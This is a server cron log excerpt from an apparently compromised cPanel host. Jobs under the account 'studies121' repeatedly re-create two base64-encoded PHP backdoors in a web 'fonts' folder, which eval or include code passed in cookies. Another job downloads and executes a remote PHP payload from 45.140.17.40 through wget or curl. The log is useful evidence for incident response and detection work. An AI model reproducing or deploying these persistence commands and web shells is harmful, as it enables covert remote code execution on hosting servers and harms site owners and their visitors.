Sep 21 15:09:01 ip-184-168-122-23 CROND[29771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:09:01 ip-184-168-122-23 CROND[29772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:09:01 ip-184-168-122-23 CROND[29775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:09:01 ip-184-168-122-23 CROND[29776]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 15:09:01 ip-184-168-122-23 CROND[29774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:10:01 ip-184-168-122-23 CROND[29929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:10:01 ip-184-168-122-23 CROND[29932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:10:01 ip-184-168-122-23 CROND[29936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:10:01 ip-184-168-122-23 CROND[29939]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:10:01 ip-184-168-122-23 CROND[29941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:10:01 ip-184-168-122-23 CROND[29940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:10:01 ip-184-168-122-23 CROND[29938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 15:10:01 ip-184-168-122-23 CROND[29937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:11:01 ip-184-168-122-23 CROND[30061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:11:01 ip-184-168-122-23 CROND[30063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:11:01 ip-184-168-122-23 CROND[30062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:11:01 ip-184-168-122-23 CROND[30064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:12:01 ip-184-168-122-23 CROND[30171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:12:01 ip-184-168-122-23 CROND[30172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:12:01 ip-184-168-122-23 CROND[30176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:12:01 ip-184-168-122-23 CROND[30175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:12:01 ip-184-168-122-23 CROND[30174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:13:02 ip-184-168-122-23 CROND[30311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:13:02 ip-184-168-122-23 CROND[30314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:13:02 ip-184-168-122-23 CROND[30313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:13:02 ip-184-168-122-23 CROND[30315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:14:01 ip-184-168-122-23 CROND[30529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:14:01 ip-184-168-122-23 CROND[30535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:14:01 ip-184-168-122-23 CROND[30537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:14:01 ip-184-168-122-23 CROND[30536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:14:01 ip-184-168-122-23 CROND[30539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:15:02 ip-184-168-122-23 CROND[30694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:15:02 ip-184-168-122-23 CROND[30696]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:15:02 ip-184-168-122-23 CROND[30697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:15:02 ip-184-168-122-23 CROND[30698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:15:02 ip-184-168-122-23 CROND[30700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:15:02 ip-184-168-122-23 CROND[30703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:16:01 ip-184-168-122-23 CROND[30832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:16:01 ip-184-168-122-23 CROND[30833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:16:01 ip-184-168-122-23 CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:16:01 ip-184-168-122-23 CROND[30838]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 15:16:01 ip-184-168-122-23 CROND[30835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:16:01 ip-184-168-122-23 CROND[30837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:17:01 ip-184-168-122-23 CROND[30981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:17:01 ip-184-168-122-23 CROND[30983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:17:01 ip-184-168-122-23 CROND[30982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:17:01 ip-184-168-122-23 CROND[30984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:18:01 ip-184-168-122-23 CROND[31108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:18:01 ip-184-168-122-23 CROND[31111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:18:01 ip-184-168-122-23 CROND[31110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:18:01 ip-184-168-122-23 CROND[31113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:18:01 ip-184-168-122-23 CROND[31112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:19:01 ip-184-168-122-23 CROND[31226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:19:01 ip-184-168-122-23 CROND[31227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:19:01 ip-184-168-122-23 CROND[31228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:19:01 ip-184-168-122-23 CROND[31231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:20:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:20:02 ip-184-168-122-23 CROND[31392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:20:02 ip-184-168-122-23 CROND[31393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:20:02 ip-184-168-122-23 CROND[31399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 15:20:02 ip-184-168-122-23 CROND[31397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:20:02 ip-184-168-122-23 CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 15:20:02 ip-184-168-122-23 CROND[31400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:20:02 ip-184-168-122-23 CROND[31401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:20:02 ip-184-168-122-23 CROND[31403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:21:01 ip-184-168-122-23 CROND[31524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
